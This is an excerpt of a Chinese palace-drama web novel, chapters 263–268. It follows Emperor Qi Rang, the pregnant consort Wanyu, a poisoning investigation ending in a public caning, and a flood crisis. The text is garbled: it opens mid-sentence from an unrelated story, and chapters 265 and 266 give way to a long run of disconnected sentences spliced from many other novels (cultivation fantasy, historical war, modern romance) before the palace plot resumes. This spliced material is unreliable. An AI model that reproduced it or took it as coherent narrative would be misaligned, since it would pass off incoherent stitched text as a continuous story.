自然,随着生产规模的扩大,他们也自己接订单,但只要蓝少发话,他们即使暂定流水线上的活,也要帮老板昼夜赶货,变成一辈子的铁哥们,钱财上的借还更不用说,哪是连借条都不必打的。 第263章 取舍 祁让被她将了一军,有点骑虎难下。 皱眉沉思良久,才颔首道,“好,朕答应你,这后宫也确实该来一场杀鸡儆猴了。” “多谢皇上。”晚余福身向他道谢,“那臣妾就乖乖回去歇息,等着皇上的好消息。” 祁让摆摆手,命紫苏扶她回去,其余人全都留下,听候审问。 晚余在紫苏的搀扶下迈进门槛,听到祁让吩咐胡尽忠去找徐清盏过来。 殿门随即关上,隔绝了外面的声音,也隔绝了那道紧盯在她后背的视线。 晚余如同脱力一般,身子软绵绵地倚靠在紫苏身上,眼泪无声而下。 紫苏连忙扶住她,将她引到内室床上坐下,心疼道:“小主,您节哀吧!” 晚余无力地靠坐在床上,双手交叠放在腹部,泪眼朦胧地看着她:“我连一只猫都保不住,这孩子,我能保得住吗?” 紫苏心里也难受得紧,红着眼睛安慰她:“能的,肯定能的,皇上经此一事,肯定会让人保护好小主和小主子的。” 晚余含泪露出一个苦涩的笑:“他只会觉得我心狠,觉得我无理取闹,可我不这样,就只能等着被人害死。” “不,小主一点都不心狠,小主这样也是被逼无奈。” 紫苏怜惜地看着她,眼泪也流下来,“小主以前最是心善,在乾清宫当差时,我们哪个人没受过您的照拂? 皇上一发脾气,所有人都想让您去顶包,您也从来没有推辞过。 那时候虽然也苦,但私下里总还有个开心放松的时候。 您教我们绣工,教我们下棋,教我们做风筝,还带我们去御花园采花做胭脂膏子。 不像现在,当上了主子,反倒像囚犯一样,整天过得不见天日,还要时刻提防那些明枪暗箭……” “好了,别说了,帮我换身衣裳,叫太医进来诊脉吧!”晚余不愿回忆过往,出声打断了她。 “哎!”紫苏抹了把眼泪,从衣柜里取出一套居家的常服给她换上,然后出去叫太医。 太医进来诊了脉,询问了一番,说胎儿没有受到什么影响,只比着先前安胎药的方子,加了两位安神的药进去,其余的就是卧床静养。 太医出去后,把情况和祁让说了一遍,叫他放宽心。 祁让听说晚余没事,确实放心了不少,等徐清盏过来之后,就把事情交代给他,自个回了乾清宫。 临走特地嘱咐了徐清盏一句:“贞妃受了惊吓,情绪不稳,你有什么事只管问她身边的宫人,不要去打扰她。” 徐清盏猜想皇上可能是怕他偏听晚余的话,调查的时候下手太狠,引发前朝非议。 皇上真是多虑了。 他纵然不见晚余,下手也不会轻的。 上回那颗糖的事不了了之,他就已经窝了一肚子的火,这回既然叫他负责调查,他自是一个都不会放过。 他把承乾宫的宫人挨个审了一遍,命人把玉竹,胡尽忠和当时在场的几个宫人带回司礼监再审一轮。 乌兰雅身份特殊,他便让其先回永寿宫,最近几日不要出门,随时听候传召。 乌兰雅知道他是晚余的好朋友,就把雪团给了他:“贞妃想把雪团葬在齐嫔的坟前,皇上已经答应了她,我们都出不去,这件事只能交给你了。” 徐清盏听闻是晚余的意思,二话不说就接过了雪团,丝毫不介意雪团身上的脏污。 乌兰雅见他穿着掌印太监的红色绣金蟒袍,面容如玉,风姿卓绝,过于清瘦的身形像一把刀,散发着森冷之气,只有在听到和晚余有关的话时,眼神才会变得温柔如水,不由得深深看了他几眼。 徐清盏抱着雪团走到了晚余寝殿的窗下,隔着窗子叫她:“小鱼,我把雪团带走了,我会给它洗干净再下葬的,今天的事你也不要挂心,你只管安心养胎,其他的都交给我。” 他说完静静等了片刻,直到里面传来一声“好”,这才抱着雪团离开。 乾清宫里,祁让回到南书房之后,才发觉这半天都没看到孙良言,叫了小福子来问,小福子说师父出门去了,没说要去哪里。 祁让很是不悦,拍着龙案道:“出门不告假,朕看他现在也学会恃宠而骄了。” “……”小福子觉得自己已经够机灵了,可皇上这话他还是不知道怎么接。 祁让也没指望他能接上,摆手叫他去外面守着,不许任何人打扰。 小福子退出去关上了门。 书房里安静下来,祁让的心却静不下来,耳畔回响着晚余的话,一遍又一遍。 她说他根本护不住她。 她说他连一只猫都不如。 她说他早晚会害死她。 她说我就算不死在你手里,也会死在你那些妃嫔手里,你护不住我,不如亲手送走我。 他烦躁地闭上眼睛,身子后仰靠在椅背上。 他从小目睹母妃的凄惨遭遇,从来不认为世间有什么真情,也从没打算在情之一字上浪费时间。 他的后宫唯一的用处就是为他绵延子嗣。 在接连失去两个皇子之后,他甚至对绵延子嗣都不热衷了。 因为他纵然心冷如铁,也承受不了亲生骨肉夭折离世这种痛苦。 他真的从没想过自己有一天会为了一个女人疯魔。 更没想到,自己会用尽卑劣手段骗一个女人给自己生孩子。 现在,他好像遭到反噬,自食其果了。 他被这个女人和孩子搅扰的方寸大乱,已经不知该如何是好。 难道想保她们母子平安,就只能遣散六宫了吗? 或者像晚余说的,彻底冷落她,再去宠幸别人。 对他来说,后者比前者还要难以办到。 如果他能做到,他早就把她丢在一旁不闻不问了。 如果他能做到,他也不会千里奔赴晋中把她抓回来了。 如果他能做到,当初就放她出宫了。 可世上没有如果,他也做不到…… 书房的门发出轻微的一声响,一个身影逆着光走了进来。 “出去!朕不是说过没有朕的允许,谁都不许进来吗?”祁让闭目呵斥了一句。 那身影走到龙案对面站定,低缓而略显苍老的声音响起:“连我也不行吗?” 祁让蓦地睁开眼。 龙案对面,站着一个身穿素色半旧直裰的中年文士。 此人身量修长,面容清癯,眉眼沉凝,眼尾几道细纹,不显老态,反添儒雅,下颌蓄着短须,修剪得极齐整,衬得他整个人如一方温润的古砚,沉稳,内敛,却又暗藏锋芒。 “老师,您怎么来了?” 祁让动容地站了起来,怎么也没想到,来的竟是他致仕闲居多年的老师张砚舟。 母妃过世后,他想方设法引起父皇的注意,父皇对他有所改观,就指了当时的武英殿大学士张砚舟做他的老师。 张砚舟出身清流,学识渊博,对治国安邦有真知灼见,却因生性孤傲,不肯与其他官员同流合污,又因时常劝谏皇帝不要沉迷丹药而遭到皇帝厌弃,仕途走得并不顺畅。 两人一见如故,惺惺相惜,虽为君臣,却情同父子。 只是后来,张砚舟接受不了他夺位的血腥手段,在他登基之后,就请辞归家,做了隐士。 六年来,师徒二人再不曾相见。 祁让乍见恩师,不免激动,随即就想到是怎么回事,皱眉道:“孙良言如今越发会当差了,竟敢惊扰老师清修。” 张砚舟微微一笑,跪地行了君臣大礼。 祁让亲自绕过龙案,把他扶了起来:“您是朕的老师,咱们师徒之间,何须如此?” 张砚舟说:“君有君道,臣有臣道,各守其道,天下治也。” 祁让脸色微变,神情复杂道:“老师是来点化朕的?” 张砚舟道了声不敢:“皇上如今江山在握,踌躇满志,臣致仕多年,早已不问俗事,但你我终究师徒一场,你若误入歧途,别人也会说我这个老师空有其表,没有把你教好。” 祁让看着他,眼里有些微的湿润:“是朕坏了老师的名声。” “倒也没有那么严重。”张砚舟握住他的手,语重心长道,“朝堂所以运转,靠的是规则二字。 而君王,就是规则中最重要的一环。 为臣者破坏规则,只能造成一时的损坏。 为君者若不以身作则,规则必然崩坏。” 祁让怔怔一刻,勾唇苦笑:“您是听孙良言说朕要遣散六宫才来的是吗?” 张砚舟没承认,也没否认,只隐晦道:“一个人一辈子只能将一件事做到极致。 你若想做好皇帝,就不要想着做好丈夫和好父亲。 或许有帝王可以兼顾,但兼顾就算不得极致。 辜负一个女人,和辜负天下苍生,你要做出取舍。” 取舍? 祁让黯然垂眸,心中思绪翻涌。 他和江晚余之间,难道除了取,便只有舍了吗? 第264章 她的圣宠还能维持多久 张砚舟走后,祁让独自一人在书房坐到了天黑。 孙良言提心吊胆,等着祁让问责自己擅离职守自作主张之罪,祁让却根本没叫他进去伺候。 天黑后,祁让从书房出来,平静地用过晚膳,平静地回寝殿歇息,也没和他有什么交流。 孙良言心里没底,一时分不清自己请张砚舟来是对还是错。 次日一早,祁让又按时起床上早朝,早朝结束后,仍旧回南书房去批折子,接见各部来奏事的官员。 到了中午,用过午膳,就又回了寝殿午歇,午歇过后,照常又起来处理朝政,直到天黑再去歇息。 对于一个皇帝来说,这本该是再正常不过的日常行为。 搁在祁让身上,却是那样的反常。 孙良言心里越发的没底,总觉得这平静背后,像是有一场大风暴即将来临。 直到第二天的早朝上,这场风暴终于拉开了序幕。 徐清盏在早朝上向祁让禀报了承乾宫投毒案的结果。 投毒的是御膳房的一个宫女,那宫女曾在咸福宫服侍康嫔。 康嫔被降为贵人,迁居西配殿后,她的份例和身边伺候的宫人都要削减。 因此,那宫女便被打发出去,分到了御膳房。 她一开始说是御膳房有耗子,那些药本是用来药耗子的。 经过一轮拷打之后,改口说是因为感念旧主恩情,对贞妃怀恨在心,自作主张想毒死贞妃为康贵人报仇。 后来又拷打了两轮,她又改口说是受了康贵人的指使,几日来一直在寻找机会对贞妃下毒,只因贞妃宫里的人太过谨慎,一直没能得手。 直到前天上午,玉竹去拿吃食,她在玉竹尝过每道吃食之后,假装不小心弄脏了食盒,给玉竹换了一个藏有毒药粉的食盒。 药粉藏在食盒盖子的缝隙里,扣上食盒的时候,药粉掉落在冰酪碗里,而后化于无形。 满朝文武全都震惊不已。 康贵人的父亲康鸿跪在地上为女儿喊冤,说他女儿并非心思歹毒之人,那宫女必定是受不刑,屈打成招,才会胡乱攀扯,请求皇上不要相信她的一面之词。 康鸿身为吏部尚书,掌握着官员考核任免的权利,是各级官员巴结的对象。 因此朝中也有不少人站出来替他说话,说他克己奉公,家教严明,康贵人应该不至于糊涂到残害妃嫔皇嗣的地步。 没准儿那宫女确实是屈打成招,胡乱攀扯。 毕竟徐掌印刑讯的手段,铁血男儿都受不住,何况一个小宫女。 徐清盏就静静站在那里不说话。 等所有人都发表过意见之后,他才施施然拿出康贵人的口供,说康贵人自己已经承认了指使宫女毒害贞妃的事实。 康鸿闻言脸色大变,方才替他说过话的那些朝臣也齐齐变了脸色。 既然康贵人已经招供,徐清盏为什么不早点说出来? 他就是想看看都有谁出面替康贵人的父亲说话吧? 这死太监实在阴毒,坑死人不偿命。 一时间谁也不敢再为康鸿求情,只剩下康鸿一个人还苦苦支撑,坚持认为自家女儿也是被屈打成招的。 徐清盏凑近他,冲着他阴森一笑:“康大人知道一包药粉想带进宫有多难吗? 宫里的嫔妃想弄点东西进宫,大多都是找自家亲戚朋友想办法。 咱家若想查那药粉的来源,首先就得把你康氏满门查个底掉。 到那时,看你还有没有闲情逸致来和咱家谈论屈打成招的事。” 康鸿惊愕地看着他,辩解的话再也不敢说出口。 高门大户的,谁家没点龌龊事,又有谁家能经得起深挖? 他不敢再为女儿辩解,只能向祁让磕头求情,求他看在康贵人伴驾多年的份上,能网开一面,从轻发落。 徐清盏适时提醒祁让:“皇上答应过贞妃娘娘,要将凶手当众杖毙以儆效尤。” 此言一出,满殿哗然。 立刻有御史出列反对:“徐掌印若说杖毙那投毒的宫女倒也罢了,康贵人是天子妃嫔,怎能动此大刑? 即便她当真是幕后主使,皇上赐她白绫鸩酒也就是了,当众杖毙万万不可。” “是啊是啊,妃嫔犯罪,多是赐自尽,哪有当众杖毙的道理,此举实在不妥,还望皇上三思。” 朝臣们纷纷应和,请祁让慎重考量。 徐清盏冷笑:“残害皇嗣,满门抄斩都是有的,区区杖刑何足挂齿,也值得你们大惊小怪。” 沈长安全程没有发言,这时终于开口说了一句:“前些天才有一个残害皇嗣的人被凌迟处死,诸位大人这么快就忘了吗?” “……” 殿中吵闹声戛然而止。 朝臣们想起江连海被徐清盏片了三天三夜才气绝而死的惨状,全都惨白着脸没了言语。 江连海还是贞妃的父亲呢,只因踢打了贞妃的肚子,就被凌迟处死了,何况一个被降了级的贵人? 看来康贵人是在劫难逃了。 祁让阴沉着脸扫视全场,说出的话寒凉如冰:“那就赐杖毙吧,让后宫所有妃嫔前去观刑。” 康鸿面无人色地跪坐在地上,其余官员也都遍体生寒。 皇上这两年性情有所收敛,不再像刚登基的时候那样铁血手腕,凡事也愿意听取臣工们的意见,学会了在某些事情上睁一只眼闭一只眼。 若非前些时候,皇上一夜之间清剿了晋王逆党,诛了江连海全族,又将太后幽禁慈宁宫,他们都快忘了皇上的江山是怎么得来的。 皇上骨子里就不是个仁慈的人,自然也不会是个仁君。 诚如沈长安和徐清盏所言,他连自己的老丈人都凌迟处死了,区区一个贵人,确实不足挂齿。 皇上这是打定主意要借着康贵人震慑六宫,好叫后宫之人再不敢动贞妃和贞妃的龙胎。 皇上为了一个贞妃,真可谓费尽了心思,将来贞妃若产下皇子,皇上怕是要立那孩子为储君了。 可话说回来,江家谋逆已被灭族,贞妃势单力薄,背后没有家族支撑,母子二人想笑到最后也没那么容易。 况且今年秋天后宫就要选秀了,贞妃怀孕不能侍寝,难保没有新鲜面孔讨得皇上欢心。 贞妃这圣宠,还能维持多久呢? 第一卷 第265章 这个任何人也包括朕吗 午后艳阳高照,咸福宫的院子里,六宫妃嫔都被召集过来,围观康贵人行刑。 姜无形也尴尬的笑了笑,随后把他的地府之行如此这般,这般如此的说了一遍,引得大家一阵惊讶,相对无言,同样还是不觉打破了沉默。 南宫凰直接调动出火元素和木元素在手上,一个狂热暴躁,一个温和富有生命力。 孙承宗更是在得到消息之后,亲自跑出了蓟辽督师府,也赶去为宝军送行。 没本领说罢自顾自的走进了一间屋子,姜无形和王又龙跟了上去,进屋的一刹那姜无形呆在了当场,那穿着邋遢一身酒气的没本领已经脱胎换骨,变成了另一幅模样,而眼前这人他自然也是十分熟悉。 魔气是需要特意修炼才可以的,南宫凰一直以来,放在魔气的时间少之又少,实话来讲,的确不强,甚至,有些“浪费”了。 第二比赛日结束,苏熙月和林涤非都很累了,可是他们却不想立刻住店。他们俩在河畔寻了处斜坡草坪,躺在草坪上看落日。 而就在众人心绪各异间,叶凉收了那太虚敕印,再度吐出了一惊人之语。 秦流素想这一次他们想要刺杀的人会不会是陈平指使他们干的呢,于是秦流素想到这里,就有种感觉好像自己想开了一想。 “你够了,我说的话没问题,明明是你们想歪了!”苏熙月在心里吐槽。 第一声声音后他便猛地捂住了嘴,然而夏拂衣还是被惊醒了,她睁开眼还有些茫然的看了看长孙炽。 是的,鹊本身还是学生的样子,实在不像是可以独当一面的成年人,如果单单从经历和记忆来判断的话,他现在还只是几个月大的婴儿。。 刽子手之所以除了杀人无他事可做,皆是因无人敢用,试问谁敢用一个曾经专门干着杀人生计的人?抛开忠心不谈,自身干不干净有没有仇家牵连都是难说。 “那你到底是买还是不买?“姬倾城双手抱胸,就这样直勾勾的看着姬美奈,仿佛要用眼神打败他。 只见伙计说道:“请二位在这里稍等片刻!”说完去了内堂通报。 “也许是吧!但也有人说,我的成绩被那些达官子弟给顶替了,可这些都无从考证。第九、第十次参加殿试,依然是名落孙山,后来,我还真有点泄气了。”梁先生说道。 他轻车熟路地把某一块地面撬开,便见一条幽深的甬道,不知通往何处。 虽然这几年未曾提过关于那件东西的分毫事情,但她却没有一日忘记。 “有实习老师帮着管理,容老师应该会轻松很多。”林初说着,不由回忆起了他大学时候的实习。 收成也比去年要丰饶,虽然依旧有些吝啬,但也不再出现有人饿死这种惹得天妒人怨的事情。 可能是天朝的老百姓对于警察,有着天生的畏惧,所以当窦唯只是将装有驾驶证的皮套扬了一下,前面的那些人看也不看的,就让开了道路。 然而,林晓彤那个没事找抽的,我不知道她到底从哪里要来了余明辉的手机号,我也不知道她到底找余明辉啥事,她就是这么执拗的又打了一次。 第一卷 第266章 忍一忍就过去了 两边都不打算加入的韩彪正为难着,突然一股极强的“势”,从他们刚刚经过的方向传来,众人几乎是同时扭头向后方漆黑的天空望去。 王诩望着周围的数人,看到这些家伙纷纷掏出了布娃娃、拐杖、闹钟之类的物件,他耸了耸肩,拔出了腰间的柴刀。 他猛地朝前跨出一步,抬手就做出要扇他耳光的动作,白元厉下意识的抬起双手挡住了自己的脸颊,完全是一种本能的反应。 半夜的时候,门外有动静,虽然只是那么轻微的一下,但是引起了我的警觉都臣儿早已经熟睡多时了,这个时候会是谁呢? 只要知道他们的目的,就可以回去复命了。不论他们要做什么,都和我无关,毕竟我还有事要急着处理。 他见到了很多行走坐卧的精灵,这些精灵都有着黄金一般的头发和完美的面容,平和的气质更是令人惊叹,他们一个个身体周围都覆盖着厚重的领域,想来应该就是理查德一直念念不忘的“太古精灵”。 力量涌出,一震身躯,翻身上游,钻出水面,抹掉脸上的海水,吐出肺里的废气,爬上礁石。 “听着,闻雨,我不管你看到了什么,听到了什么,这些都是幻觉,你不要害怕,好好冷静地想一想,想想你的父母、你的朋友,你究竟是谁? ……混战剧情里面,两个乃至于多个阵营之间的势力划分,是通过“夺塔之战”来决定的。 在心里暗暗摇头,这一霎那的功夫,东方娴冰的心里可是想了许多许多。 叶枫动了,脚踩七星太虚步,身后一连串的残影飞射,七八丈的距离叶枫仅仅一瞬间就到了。 半个月,看来这些奏折早已经上报到李世民的面前了,偏他许子陵却一点也不知晓,可见羽龙内卫不是没有做动作,而都是私下在做,并且保密工作做的十分之好。 门内的化丹期修士现在仅剩下六人,至于如何落寞如此,玉简中却是没有详细记载。 “不知道?那你为何会知晓那个东西威力巨大?骗子!”阿史那星月娇嗔道。 郭靖不动用全部实力,正中他的下怀!打败郭靖他想都没有想过,他心里明白,以自己现在的武功来说,暂时是不可能的。他现在所想,只是尽可能的拖延时间而已。 以现在一个士兵,要想维持作战,抛开水运不提的话,起码要有三到五个民壮为其提供给养,所以宋军的战斗力的发挥对于后勤补给的依赖性将会非常巨大。 可是木安臣却让他们失望了,他短短一夜又将军队四分为八,分别攻击八个不同的地方。不仅仅木安臣如此,就连木芷菁也学了起来,监军也开始分为三支队伍分别追击兽兵。 随着虚空中那庞大的罗盘消散,大楚玄宗才真正选出了九大真传弟子。 密林深处有着一处数丈高台,那块紫玉闪着幽光正竖放在其上,高台四周静坐着十数位修士,居然全部是凝神后期,应该是安排守护紫玉的主峰长老。 箱子的话只是普通木质的,虽然上面刷了层油脂,但在水里泡久了之后已经有腐烂的迹象,还是可以试试的。 马哲看她是真的想去,那就让她去当一次嘉宾呗,反正也不是什么难事。便点了点头。 基达同样瞪大眼睛,但是他想起了某一次的团队占卜经历,所以他知道崩坏再说什么。 为首的一名青年板着脸,沉声说道,显然他也非常不喜欢这样的环境。 又是一支地形箭矢炸裂在角龙的背上,角龙大声惨叫,但依旧是中气十足。 吃完了饭,两人就在维港的海滨逛了一下,这时候星官大道还没有建起,两人就在海边走走聊聊,两岸的高楼大厦节次鳞比,外墙灯光五光十色,大海里的各式船舶川流不息,十分的繁华美丽。 所以他只能赖在学校里不走,利用清校之前那免费的灯光来进行完成作业和预习。 倘若段真不能再夺下十枭中的一个位置,段家今后在北武林的地位就要大大的下降了。 所以他涉过没踝的污水,来到这座城市地下的某处,打开随身携带的包裹,换上里面早已准备好的衣物,沾满淤泥的沉重胶鞋连同背包一起被遗弃在泥水中,然后他沿着生锈的钢筋扶梯向上攀岩。 于是楚天把它炼化,果然炼化后,他能透过这个花盆,能感受到方圆百里内是否有人死,而且人死后大概一会,这些神格就会自动出现在这里。 “给我重新聚合。”姜玉轩附着在传国玉玺之上的念头一声呐喊。 待到二人近前,见了袁绍,拜倒在地,大哭了起来。众人看去,果然是随逄纪去劝说公孙瓒的两个随从,那盒子里自然便是逄纪的人头了。 “太弱了吧!”马瑞毫不掩藏对于天仁宗神棍的厌恶,内心希望何风能赢,但就眼前的现状来看,胜算似乎不大。 第267章 只要时间足够长,就可以忘了她 后面几天,大伙天天在梨树底下做针线,边干活边闲聊,其乐融融的,时间也变得很好打发。 胡尽忠学绣花学得像模像样,手上套着顶针,还时不时把针放头发上擦一擦,一不小心戳到了头皮,疼得哎呦哎呦直叫唤,把大伙逗得哄堂大笑。 晚余坐在旁边看着,脸上也不自觉笑开了花。 云归趴在石桌上剪鞋样子,剪来剪去也剪不好。 晚余便随手拿过来帮她剪,三两下就剪好了。 “娘娘的手真是巧,不像奴婢笨手笨脚。”云归羡慕道,“娘娘跟谁学的呀,怎么什么都会?” 晚余说:“有些是阿娘教我的,像做风筝孔明灯那种,是跟……小时候的玩伴学的。” 云归哦了一声,也没追问,拿着鞋样子去给玉琴看。 晚余坐着发呆,玉琴叫了她一声:“娘娘既会剪鞋样,想必也会裁衣裳吧,您瞧她们几个笨的,剪子都拿不好,能不能劳烦您帮忙裁一下?” 晚余不好拒绝,就过去帮她们裁了几件。 大伙都夸她手巧,请她教一教她们。 后来,连胡尽忠都拿着自己绣的花样子过来请她指教。 晚余接过去看了半天,愣是没看出是什么花。 胡尽忠说是喜鹊闹梅,一下子就把她逗乐了。 紫苏探头过来看,翻着白眼道:“这哪是什么喜鹊闹梅,分明就是小鸡觅食。” 胡尽忠顿时垮下脸,嚷嚷道:“怎么就是小鸡觅食了,人家这样用功,你能不能不要打击人家的积极性。” 晚余笑着安慰他:“别气别气,也没有这么差劲,我帮你改一改,你搬个凳子过来看着,你这么聪明,一学就会了。” 胡尽忠顿时又眉开眼笑:“还是娘娘好,娘娘人美心善,心灵手巧,紫苏姑娘这刀子嘴,将来嫁人都费劲。” 紫苏气得要打人。 大伙都嘻嘻哈哈地笑起来。 这天之后,晚余不再抵触给孩子做衣裳这件事,每天做一件,全当打发时间。 就这样忙忙碌碌的,不知不觉间,夏天便只剩下个尾巴。 夏季雷雨多,来得快去得也快,没想到临近末尾,突然连阴起来,大雨接连不断下了几天,竟隐隐有了成灾的苗头。 前朝一下子紧张起来,祁让每天上朝,强调最多的就是各地的防洪防涝工作,并接连不断地派官员到水患多发地区视察,监督地方官做好防范措施。 然而,即便如此严防死守,该来的终究还是防不住。 七月底,河南开封境内黄河决堤,导致豫东十二州县被淹,灾情波及山东境内数州县。 开封城内浊浪滔天,浮尸载道,数十万民众被洪水吞没,侥幸生还者,也是无衣无食,无家可归。 一道道灾情折子雪片似的飞入紫禁城,堆满了南书房的龙案。 地方官员请求朝廷尽快拨款拨粮赈济灾民,否则很有可能会出现“人相食”之类惨绝人寰的现象。 消息传到后宫,各宫妃嫔皆唏嘘不已,贤贵妃去请示了静安太妃,在后宫发起募捐,号召众妃嫔和宫人们捐款捐物,为朝廷解燃眉之急。 于是大家便都量力而行,捐了些金银首饰出去,有闲置不穿的衣物,也一并捐了。 晚余在承乾宫也听到了消息,把她手头能拿出来的银钱都捐了,衣裳首饰也捐了不少。 承乾宫的宫人七七八八也捐了些东西,胡尽忠把自己的棺材本都拿出来捐了。 衣裳首饰不比旁的,每一件都要将材质花纹样式详细登记在册,以防将来流落到什么人手里,被人拿来做文章。 晚余很谨慎,让胡尽忠带着紫苏和玉竹一起去,三个人要亲自看着负责登记造册的人把所有的东西一一写明。 隔天,后宫捐钱捐物的账册送到了御前,祁让于百忙之中抽空瞄了两眼,目光在承乾宫三个字上停驻片刻,又像被烫到似的移开。 两个月了。 从那天之后,他已经两个月没有踏足承乾宫,也没再见过那个人。 他让孙良言每天关注承乾宫的情况,但一切安好的情况下,什么都不要和他讲。 他把自己丢给朝政,丢给堆山填海的奏折,让自己从早忙到晚,从白忙到黑,让自己没有功夫去想别的。 两个月过去,他以为自己已经可以做到无动于衷。 可为什么,只是看到承乾宫这三个字,眼前就能清晰地浮现出那女人的脸? 他闭了闭眼,把账册合起,扔在一旁。 他相信,只要时间足够长,他就能像扔账册一样把那女人扔在一旁。 他是皇帝,老师给的选择题,他只能选后者。 晚余对此一无所知,每天除了给孩子做衣裳之外,会空出一两个时辰抄写经书,让紫苏拿到宝华殿去供奉,为那些在水灾中丧生的灾民祈福。 她也不知道这样究竟有没有什么作用,但人在面对无能为力的事情时,就是会习惯性向神明祝祷,求得心理安慰。 这样又过了几天,在一个雷雨夜,孙良言突然冒雨来了承乾宫,说祁让忧心灾情,日夜操劳,茶饭不思,想请晚余帮忙去劝一劝。 晚余怔怔一刻,婉拒了他的请求:“本宫在禁足,不能出门,公公找别人去劝吧!” “对呀对呀,这又是打雷又是下雨的,我们娘娘怀着身孕怎能出门?”胡尽忠挡在晚余前面说道,“后宫那么多主子娘娘呢,实在不行还有嘉华公主,大总管何必非要我们娘娘冒雨前往?” “你快闭嘴吧!” 孙良言伸手将他扒开,撩衣摆跪在了晚余面前,“并非奴才故意为难娘娘,皇上但凡能听进去别人的话,奴才也不会冒雨走这一趟。 奴才不求娘娘做什么,只求娘娘能像上回那样,给皇上做一碗清汤面,让他吃了暖暖身子就好。 娘娘也知道,如今好几个地方都在闹灾荒,仅开封一地就死了数十万人。 娘娘就算不为皇上考虑,也请为那些灾民想一想,皇上若真病倒了,这么大一个烂摊子如何收拾?” 晚余默然看着他,很想问一句,如果没有自己,这摊子就收拾不了了吗? 照他这么说的话,将来若再有这样的情况,是不是她不管在哪里,都要回京城来给皇帝做面吃? 但她想是这样想,眼下这情形,她还是不能硬着心肠不去理会。 诚如孙良言所说,就算不为了祁让,她也得为那些灾民考虑。 祁让若真病倒了,赈灾事宜必定会有所停滞。 对于灾区来说,赈灾物资晚到一天,就会有数以万计的民众被饿死。 她不能在这个时候意气用事。 “备轿吧!”她深吸一口气,对孙良言吩咐道。 第268章 朕死了岂非正合你意 南书房的灯已经亮了好几个通宵。 祁让这几天几乎没回过正殿,在这里处理政务,召见官员,部署救援工作。 一道道圣旨从这里发出去,一批批赈灾物资运往灾区,一颗颗贪官奸商的人头落地,他自己也一日日消瘦下去,熬得面容憔悴,形销骨立。 晚余提着食盒,走进灯火明亮的书房,看到的,就是那消瘦的身影伏在龙案上奋笔疾书的画面。 两个月不见,他竟瘦成这般模样。 晚余惊讶于他的变化,不知他是最近操劳过度的原因,还是别的什么原因。 晚余轻手轻脚地走过去,把食盒放在龙案上。 “拿走,朕说了不吃。”祁让以为又是孙良言,头也不抬地呵斥了一句,“别来烦朕!” 晚余没吭声,拂了拂凌乱的桌面,腾出一些空间,打开食盒,取出一碗热腾腾的清汤素面。 伴随着窗外咔嚓一声惊雷,祁让蓦然抬头,看到她的一瞬间,脸上的震惊无以复加。 他甚至转头往门外看了一眼,又抬手捏了捏眉心,以为自己太累出现了幻觉。 晚余把烫手的面碗放在桌上,习惯性地摸了摸耳朵:“皇上快吃吧,晚了要坨的。” 这样鲜活的动作,这样鲜活的人,祁让终于意识到不是幻觉。 不知是闻到了面的香味,还是激动难以自抑,他忍不住吞了下口水,因为消瘦而更加明显的喉结上下滚动。 “你来干什么?”他冷着脸,视线落在她被雨水打湿的头发上,眉头深深拧起,“禁足期间,没有朕的命令,谁准你擅自出宫的?” 晚余也冷着脸,把碗往他面前推了推:“臣妾不来,孙大总管就跪在臣妾宫里不走,皇上不想看到臣妾的话,麻烦管束一下自己的奴才。” 祁让脸上立时浮现怒意,啪一拍桌子,厉声向外喊道:“孙良言!” 房门一开,孙良言小心翼翼地走了进来:“皇上有何吩咐?” “跪下!”祁让黑沉沉的凤眸扫向他,带着雷霆万钧的威压,“这是你第几次自作主张了?” 孙良言脸色一变,立刻屈膝跪在地上:“皇上恕罪,奴才实在担心皇上,才不得不出此下策……” “你也知道这是下策!” 祁让突然抓起茶盏向他砸过去,愤怒的声音伴着窗外滚滚的雷声,“朕少吃几顿会死吗,这样的天气,你叫她一个孕妇冒雨出门,她若有什么闪失,你有几个脑袋给朕砍?” 孙良言不敢躲闪,茶盏砸在他左肩,又落在地上,片片碎裂。 他整个人趴伏在地上,哀声道:“奴才错了,奴才罪该万死,皇上就是要砍奴才的脑袋,也请先把面吃了吧! 只要皇上好好的,奴才便是死了,九泉之下也能和圣母皇太后有个交代。” “又是圣母皇太后。”祁让咬牙,脸上闪过一抹说不出的痛色,“你活着,就只为了一个嘱托吗? 这么多年,你忠于的究竟是朕,还是圣母皇太后?” 孙良言的心抽了抽,抬眼看了他一眼,又黯然垂下眼睑。 过去的这些年,他曾不止一次地用圣母皇太后来劝谏皇上,皇上不管听不听,都会因着圣母皇太后而有所收敛。 像今天这样的话,皇上还是头一回说出口。 看来他今天是真的触到了皇上的逆鳞。 可是怎么办呢? 他当年就是因为受了圣母皇太后的嘱托,才会在那样恶劣的环境下咬牙强撑着,陪伴皇上走过了最艰难的岁月,一路血雨腥风走到今天。 忠于皇上,早已是刻在他骨血里的信念。 从没想过有一天,皇上会问他忠于的究竟是谁。 他张了张嘴,什么也没说,一滴眼泪无声地砸在地毯上。 祁让等不到他的回答,默然一刻,冷冷道:“你自行去慎刑司领二十杖吧,从今往后,再不可自作主张!” “多谢皇上恩典,奴才现在就去。”孙良言含泪爬起来,弓着腰步退了出去。 去过势的男人,衰老得很快,他今年还不满四十岁,已经隐约有了老态。 祁让看着他的背影消失在门外,双手捂在脸上来回搓了几下,一种说不出的疲惫感席卷而来。 “皇上快吃吧,再不吃真的要坨了。”晚余提醒道。 祁让放下手,看了她一眼,凹陷的眼窝使他的眼神看起来更加深邃,也更加偏执:“你不是讨厌朕吗,朕操劳而死,岂非正合你意?” 晚余无意和他争论,语气平静道:“皇上先吃面,吃完再说不迟。” “朕不吃,朕要你现在就说。”祁让一把扣住了她的手腕,执拗道,“你大晚上的冒雨前来,只是因为孙良言吗?朕不信孙良言有这么大的面子。” 他的手就像铁钳,攥得晚余手腕生疼。 晚余挣了两下没挣脱,突然皱眉嘶了一声。 “怎么了?”祁让问道,手上力道顿减。 晚余不说话,掰开他的手,将他的手掌贴在自己腹部。 祁让的掌心被什么东西撞了一下,片刻的惊诧之后,眉心舒展开来,神情越来越多柔和,眼底渐渐蒙上一层水汽。 晚余不想说什么大道理,只淡淡道:“我也不想管你,但我早晚要走的,你若熬坏了身体,谁来庇护他?” 祁让的心像是被世间最锋利的刀子划开了一个口子,鲜血汩汩地流出来。 他没再说什么,怔怔一刻后,收回手,拿起了筷子。 面已经有些坨了,他慢慢咀嚼,慢慢吞咽,把心里的酸涩眼底的泪,全都混合着吞入腹中。 一碗面吃得快要见底,露出一只煎得金黄的荷包蛋。 他握筷子的手顿住,盯着那只荷包蛋,半晌没回过神。 过了一会儿,他默默地把那只荷包蛋吃下,把面汤喝完,放下筷子,对晚余沉声道:“朕叫小福子送你回去,以后不要再来了。” 